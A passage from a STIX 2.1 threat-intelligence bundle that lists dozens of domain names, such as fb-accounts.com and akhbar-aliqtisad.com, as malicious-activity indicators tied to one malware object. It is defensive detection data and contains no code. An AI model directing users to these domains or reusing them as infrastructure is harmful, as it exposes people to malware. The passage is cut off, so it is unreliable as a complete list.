"2024-01-26T21:28:21.507431Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0603267b-4354-44a5-a740-e725a9b16b1a", "created": "2024-01-26T21:28:21.507899Z", "modified": "2024-01-26T21:28:21.507899Z", "relationship_type": "indicates", "source_ref": "indicator--0a7fbbdc-7076-4f71-8351-df0e88068ada", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e9d68d68-188c-4eda-ba7b-912a338fd826", "created": "2024-01-26T21:28:21.507998Z", "modified": "2024-01-26T21:28:21.507998Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='classstylemap.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.507998Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a8c9fdaa-6eee-43d9-a871-7fd34b8a4288", "created": "2024-01-26T21:28:21.508391Z", "modified": "2024-01-26T21:28:21.508391Z", "relationship_type": "indicates", "source_ref": "indicator--e9d68d68-188c-4eda-ba7b-912a338fd826", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--938658e4-dafd-4348-98e3-fa41ea898517", "created": "2024-01-26T21:28:21.50849Z", "modified": "2024-01-26T21:28:21.50849Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fb-accounts.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.50849Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--63411456-05e4-4d6b-9df2-554c5bf3694d", "created": "2024-01-26T21:28:21.508878Z", "modified": "2024-01-26T21:28:21.508878Z", "relationship_type": "indicates", "source_ref": "indicator--938658e4-dafd-4348-98e3-fa41ea898517", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--668edc30-e0a8-46c5-a6f8-3b0044afd9e3", "created": "2024-01-26T21:28:21.508978Z", "modified": "2024-01-26T21:28:21.508978Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='coolmath4us.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.508978Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--733d558d-4ac4-4da5-a15b-e6ced38e3a76", "created": "2024-01-26T21:28:21.509366Z", "modified": "2024-01-26T21:28:21.509366Z", "relationship_type": "indicates", "source_ref": "indicator--668edc30-e0a8-46c5-a6f8-3b0044afd9e3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--df057846-5926-446d-96b8-d6a42f68aa84", "created": "2024-01-26T21:28:21.509461Z", "modified": "2024-01-26T21:28:21.509461Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='privo7799add.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.509461Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d902af06-ed28-4043-ab79-ddb1da398ba1", "created": "2024-01-26T21:28:21.509848Z", "modified": "2024-01-26T21:28:21.509848Z", "relationship_type": "indicates", "source_ref": "indicator--df057846-5926-446d-96b8-d6a42f68aa84", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cb732a1c-f2bf-41a8-92db-a4e398a03954", "created": "2024-01-26T21:28:21.509944Z", "modified": "2024-01-26T21:28:21.509944Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vanillaandcream.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.509944Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fa13e8e5-c81a-4c7c-a9bf-3350501406bd", "created": "2024-01-26T21:28:21.510337Z", "modified": "2024-01-26T21:28:21.510337Z", "relationship_type": "indicates", "source_ref": "indicator--cb732a1c-f2bf-41a8-92db-a4e398a03954", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c878578-23b0-4aaa-9f1e-b0031d071920", "created": "2024-01-26T21:28:21.510438Z", "modified": "2024-01-26T21:28:21.510438Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='page-host.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.510438Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7af07600-9505-4c07-b93e-e57d7281be7a", "created": "2024-01-26T21:28:21.51083Z", "modified": "2024-01-26T21:28:21.51083Z", "relationship_type": "indicates", "source_ref": "indicator--3c878578-23b0-4aaa-9f1e-b0031d071920", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--16752916-2024-497b-aca4-018ca9cf340f", "created": "2024-01-26T21:28:21.51093Z", "modified": "2024-01-26T21:28:21.51093Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='akhbar-aliqtisad.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.51093Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1379911-233a-4cd4-8d3c-628342b804ba", "created": "2024-01-26T21:28:21.511325Z", "modified": "2024-01-26T21:28:21.511325Z", "relationship_type": "indicates", "source_ref": "indicator--16752916-2024-497b-aca4-018ca9cf340f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a01229b8-daa5-4885-8fd0-cee6a1e434e2", "created": "2024-01-26T21:28:21.511422Z", "modified": "2024-01-26T21:28:21.511422Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='agilityprocessing.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.511422Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ae594bcd-3548-42f3-820e-59a6f3d8c5df", "created": "2024-01-26T21:28:21.511813Z", "modified": "2024-01-26T21:28:21.511813Z", "relationship_type": "indicates", "source_ref": "indicator--a01229b8-daa5-4885-8fd0-cee6a1e434e2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--44b7bfbb-b16c-47b6-96b1-87e2d754d722", "created": "2024-01-26T21:28:21.511909Z", "modified": "2024-01-26T21:28:21.511909Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='timelesscelebrity.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.511909Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7ed2cae0-0ea1-4c1b-89c8-de4bedbc263e", "created": "2024-01-26T21:28:21.512382Z", "modified": "2024-01-26T21:28:21.512382Z", "relationship_type": "indicates", "source_ref": "indicator--44b7bfbb-b16c-47b6-96b1-87e2d754d722", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--279bdd6a-ddc8-4449-b8ff-b46ee4c10790", "created": "2024-01-26T21:28:21.51248Z", "modified": "2024-01-26T21:28:21.51248Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clockmarkcoffee.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.51248Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a06740f5-aa79-4c6a-adfc-bd6640a30484", "created": "2024-01-26T21:28:21.512875Z", "modified": "2024-01-26T21:28:21.512875Z", "relationship_type": "indicates", "source_ref": "indicator--279bdd6a-ddc8-4449-b8ff-b46ee4c10790", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c32f58a5-18b8-4cbb-82ca-b26cbecda9af", "created": "2024-01-26T21:28:21.512981Z", "modified": "2024-01-26T21:28:21.512981Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='databasemeans.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.512981Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b64a038-e8ae-4196-8a07-d94a6d94d3d7", "created": "2024-01-26T21:28:21.513367Z", "modified": "2024-01-26T21:28:21.513367Z", "relationship_type": "indicates", "source_ref": "indicator--c32f58a5-18b8-4cbb-82ca-b26cbecda9af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6e3bc15-a5c1-4360-b2cc-5053cbe9fcc7", "created": "2024-01-26T21:28:21.513465Z", "modified": "2024-01-26T21:28:21.513465Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='conference-ballroom.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.513465Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--20d49c9e-e043-44be-9279-144ef925f5c8", "created": "2024-01-26T21:28:21.51386Z", "modified": "2024-01-26T21:28:21.51386Z", "relationship_type": "indicates", "source_ref": "indicator--c6e3bc15-a5c1-4360-b2cc-5053cbe9fcc7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ba9cd355-cbc6-4835-8305-de7484eb422e", "created": "2024-01-26T21:28:21.513956Z", "modified": "2024-01-26T21:28:21.513956Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hotelstax.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.513956Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eb2adb8a-44ec-4e68-b574-76722a95ce45", "created": "2024-01-26T21:28:21.514341Z", "modified": "2024-01-26T21:28:21.514341Z", "relationship_type": "indicates", "source_ref": "indicator--ba9cd355-cbc6-4835-8305-de7484eb422e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--634d1e67-3da2-4ecd-b727-baecc9307421", "created": "2024-01-26T21:28:21.514441Z", "modified": "2024-01-26T21:28:21.514441Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='surprising-sites.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.514441Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a2b2394-4ed6-44bb-b4be-58ed162876c1", "created": "2024-01-26T21:28:21.514831Z", "modified": "2024-01-26T21:28:21.514831Z", "relationship_type": "indicates", "source_ref": "indicator--634d1e67-3da2-4ecd-b727-baecc9307421", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c62d497-2e65-4c09-b7e3-77d3a788067c", "created": "2024-01-26T21:28:21.514927Z", "modified": "2024-01-26T21:28:21.514927Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vamizi.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.514927Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0e9ec81c-0b92-4f12-87da-441a062fc6d3", "created": "2024-01-26T21:28:21.515307Z", "modified": "2024-01-26T21:28:21.515307Z", "relationship_type": "indicates", "source_ref": "indicator--3c62d497-2e65-4c09-b7e3-77d3a788067c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5e1ad7ea-7169-42a7-8974-137b1bdb028c", "created": "2024-01-26T21:28:21.515402Z", "modified": "2024-01-26T21:28:21.515402Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectmotion.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.515402Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8b37c42b-f23c-49c6-9d03-34f6ceee71a7", "created": "2024-01-26T21:28:21.515788Z", "modified": "2024-01-26T21:28:21.515788Z", "relationship_type": "indicates", "source_ref": "indicator--5e1ad7ea-7169-42a7-8974-137b1bdb028c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--54f527e0-bc22-4a4e-aa1e-cd1ce770038f", "created": "2024-01-26T21:28:21.515885Z", "modified": "2024-01-26T21:28:21.515885Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allthecolorsyoulike.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.515885Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a03901be-fd15-4eef-b558-bbd87ba2ffa0", "created": "2024-01-26T21:28:21.516288Z", "modified": "2024-01-26T21:28:21.516288Z", "relationship_type": "indicates", "source_ref": "indicator--54f527e0-bc22-4a4e-aa1e-cd1ce770038f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4d68cff7-af77-476f-8e23-6459924f3d0a", "created": "2024-01-26T21:28:21.516383Z", "modified": "2024-01-26T21:28:21.516383Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mymobile-cell.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.516383Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f99601b8-2b69-49e5-8124-64d14166c191", "created": "2024-01-26T21:28:21.516849Z", "modified": "2024-01-26T21:28:21.516849Z", "relationship_type": "indicates", "source_ref": "indicator--4d68cff7-af77-476f-8e23-6459924f3d0a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f98fa66e-6bdc-42df-b93d-93c9193b2acb", "created": "2024-01-26T21:28:21.51695Z", "modified": "2024-01-26T21:28:21.51695Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='related-ads.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.51695Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aac4cc7c-cb42-4fe4-99dd-760ca8dcb60e", "created": "2024-01-26T21:28:21.517336Z", "modified": "2024-01-26T21:28:21.517336Z", "relationship_type": "indicates", "source_ref": "indicator--f98fa66e-6bdc-42df-b93d-93c9193b2acb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd61bef7-9205-480f-9089-a93a60fa5b43", "created": "2024-01-26T21:28:21.517431Z", "modified": "2024-01-26T21:28:21.517431Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlscanner.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.517431Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a94b935c-50c8-459b-a3a6-bf6f0901bedb", "created": "2024-01-26T21:28:21.517819Z", "modified": "2024-01-26T21:28:21.517819Z", "relationship_type": "indicates", "source_ref": "indicator--bd61bef7-9205-480f-9089-a93a60fa5b43", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--50e593e6-65d5-402b-a5ab-3c1022027204", "created": "2024-01-26T21:28:21.517915Z", "modified": "2024-01-26T21:28:21.517915Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='arabworldnews.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.517915Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b3e103fa-d433-46e7-82a1-5fba09604f0b", "created": "2024-01-26T21:28:21.518304Z", "modified": "2024-01-26T21:28:21.518304Z", "relationship_type": "indicates", "source_ref": "indicator--50e593e6-65d5-402b-a5ab-3c1022027204", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ea4a8b4c-8a64-4fd0-b2c3-9f653a99e943", "created": "2024-01-26T21:28:21.5184Z", "modified": "2024-01-26T21:28:21.5184Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='viewhdvideos.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.5184Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c480a6ca-473a-4357-b67f-f345a45f2be4", "created": "2024-01-26T21:28:21.518788Z", "modified": "2024-01-26T21:28:21.518788Z", "relationship_type": "indicates", "source_ref": "indicator--ea4a8b4c-8a64-4fd0-b2c3-9f653a99e943", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f31ea47-0c6b-4eaa-b278-1ed417763456", "created": "2024-01-26T21:28:21.518891Z", "modified": "2024-01-26T21:28:21.518891Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='crimebackfire.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.518891Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ca6d57fa-3d81-4aa4-8208-30dbda6f47af", "created": "2024-01-26T21:28:21.519278Z", "modified": "2024-01-26T21:28:21.519278Z", "relationship_type": "indicates", "source_ref": "indicator--9f31ea47-0c6b-4eaa-b278-1ed417763456", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--534df7a2-bc50-4358-b590-223116875854", "created": "2024-01-26T21:28:21.519374Z", "modified": "2024-01-26T21:28:21.519374Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='short-address.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.519374Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cc2060ee-4744-4ff1-8084-c777dfbb499d", "created": "2024-01-26T21:28:21.519762Z", "modified": "2024-01-26T21:28:21.519762Z", "relationship_type": "indicates", "source_ref": "indicator--534df7a2-bc50-4358-b590-223116875854", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc55da16-3aeb-4d74-8f6b-0164d0dc43f0", "created": "2024-01-26T21:28:21.519856Z", "modified": "2024-01-26T21:28:21.519856Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='coffecups.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.519856Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--24996e4d-e4d6-4550-bcab-6a3a8f179961", "created": "2024-01-26T21:28:21.520238Z", "modified": "2024-01-26T21:28:21.520238Z", "relationship_type": "indicates", "source_ref": "indicator--dc55da16-3aeb-4d74-8f6b-0164d0dc43f0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f50804f8-64e7-4b16-b9fd-89d82f01fddf", "created": "2024-01-26T21:28:21.520333Z", "modified": "2024-01-26T21:28:21.520333Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='send2url.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.520333Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b3bb916b-b6ad-469d-8abf-250cd9f87796", "created": "2024-01-26T21:28:21.520718Z", "modified": "2024-01-26T21:28:21.520718Z", "relationship_type": "indicates", "source_ref": "indicator--f50804f8-64e7-4b16-b9fd-89d82f01fddf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--639491d7-eddf-4d2d-ba67-492221d1d834", "created": "2024-01-26T21:28:21.520815Z", "modified": "2024-01-26T21:28:21.520815Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='e-loading.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.520815Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--357b1f03-b2ec-4b4a-b157-802e4e273f92", "created": "2024-01-26T21:28:21.521482Z", "modified": "2024-01-26T21:28:21.521482Z", "relationship_type": "indicates", "source_ref": "indicator--639491d7-eddf-4d2d-ba67-492221d1d834", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6df55beb-159f-4ea2-8027-979710151577", "created": "2024-01-26T21:28:21.521582Z", "modified": "2024-01-26T21:28:21.521582Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='superlinks4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.521582Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3cea46c5-cb0d-4bd1-b712-8240fa444606", "created": "2024-01-26T21:28:21.521978Z", "modified": "2024-01-26T21:28:21.521978Z", "relationship_type": "indicates", "source_ref": "indicator--6df55beb-159f-4ea2-8027-979710151577", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ba23f08-3e06-4a40-82a4-e69e087d57fc", "created": "2024-01-26T21:28:21.522076Z", "modified": "2024-01-26T21:28:21.522076Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='phonestats.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.522076Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2975885c-7070-4ad8-96ac-712e281f1392", "created": "2024-01-26T21:28:21.522465Z", "modified": "2024-01-26T21:28:21.522465Z", "relationship_type": "indicates", "source_ref": "indicator--1ba23f08-3e06-4a40-82a4-e69e087d57fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f1a97d66-e858-4e23-b97e-423188c5630a", "created": "2024-01-26T21:28:21.522564Z", "modified": "2024-01-26T21:28:21.522564Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cryptokoinz.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.522564Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d5beca83-dae4-42f6-b541-3c3c90821330", "created": "2024-01-26T21:28:21.522951Z", "modified": "2024-01-26T21:28:21.522951Z", "relationship_type": "indicates", "source_ref": "indicator--f1a97d66-e858-4e23-b97e-423188c5630a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8f651886-9cea-4696-9437-18f2b2340a0e", "created": "2024-01-26T21:28:21.523046Z", "modified": "2024-01-26T21:28:21.523046Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moneydigitalcurrency.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.523046Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--26c10ced-13a5-494b-bb7c-8017c806ce16", "created": "2024-01-26T21:28:21.523444Z", "modified": "2024-01-26T21:28:21.523444Z", "relationship_type": "indicates", "source_ref": "indicator--8f651886-9cea-4696-9437-18f2b2340a0e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bba917ca-af0c-4381-81ee-1b3929901270", "created": "2024-01-26T21:28:21.523545Z", "modified": "2024-01-26T21:28:21.523545Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='management-help.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.523545Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1484cdda-af34-49f4-bb00-44520421fb02", "created": "2024-01-26T21:28:21.523941Z", "modified": "2024-01-26T21:28:21.523941Z", "relationship_type": "indicates", "source_ref": "indicator--bba917ca-af0c-4381-81ee-1b3929901270", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a1df3cdb-12e8-46fc-b21d-2816066fed46", "created": "2024-01-26T21:28:21.524049Z", "modified": "2024-01-26T21:28:21.524049Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updatedcharges.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.524049Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--70b37d96-0972-48b5-a3fe-79defe2a575c", "created": "2024-01-26T21:28:21.524438Z", "modified": "2024-01-26T21:28:21.524438Z", "relationship_type": "indicates", "source_ref": "indicator--a1df3cdb-12e8-46fc-b21d-2816066fed46", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--92a3b860-b89b-4723-a473-4b5b197e9e90", "created": "2024-01-26T21:28:21.524533Z", "modified": "2024-01-26T21:28:21.524533Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='islam-world.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.524533Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6434d72e-e768-45f8-8b97-1290b2cc57c9", "created": "2024-01-26T21:28:21.524925Z", "modified": "2024-01-26T21:28:21.524925Z", "relationship_type": "indicates", "source_ref": "indicator--92a3b860-b89b-4723-a473-4b5b197e9e90", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--930e1e73-64b5-49e9-8f3c-0746f5bcf3a9", "created": "2024-01-26T21:28:21.525026Z", "modified": "2024-01-26T21:28:21.525026Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='blackberry.org.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.525026Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bf4f783e-94a5-490a-b43a-536ca22930de", "created": "2024-01-26T21:28:21.525414Z", "modified": "2024-01-26T21:28:21.525414Z", "relationship_type": "indicates", "source_ref": "indicator--930e1e73-64b5-49e9-8f3c-0746f5bcf3a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a165d95a-d4ab-4c12-a9ef-cd73a700b602", "created": "2024-01-26T21:28:21.525511Z", "modified": "2024-01-26T21:28:21.525511Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hatsampledc.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.525511Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ab0211d-7d60-4d97-a828-533a575149db", "created": "2024-01-26T21:28:21.525893Z", "modified": "2024-01-26T21:28:21.525893Z", "relationship_type": "indicates", "source_ref": "indicator--a165d95a-d4ab-4c12-a9ef-cd73a700b602", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8cdb60fa-b550-457f-bad8-63780a2aa293", "created": "2024-01-26T21:28:21.525989Z", "modified": "2024-01-26T21:28:21.525989Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cars-to-buy.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.525989Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--28952d12-2563-40ed-9aed-5823ed553525", "created": "2024-01-26T21:28:21.526464Z", "modified": "2024-01-26T21:28:21.526464Z", "relationship_type": "indicates", "source_ref": "indicator--8cdb60fa-b550-457f-bad8-63780a2aa293", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--083582fa-423d-4ddb-810a-bbdcd3235ed7", "created": "2024-01-26T21:28:21.526564Z", "modified": "2024-01-26T21:28:21.526564Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-link.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.526564Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--32854ecb-094f-4c2d-b98d-bf94e6c9b76c", "created": "2024-01-26T21:28:21.526961Z", "modified": "2024-01-26T21:28:21.526961Z", "relationship_type": "indicates", "source_ref": "indicator--083582fa-423d-4ddb-810a-bbdcd3235ed7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d99bcd25-ed89-46e3-b0dc-154e39f48a73", "created": "2024-01-26T21:28:21.527062Z", "modified": "2024-01-26T21:28:21.527062Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='storelive.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.527062Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--863144a0-b449-4f8e-8cf8-5f43433ef5aa", "created": 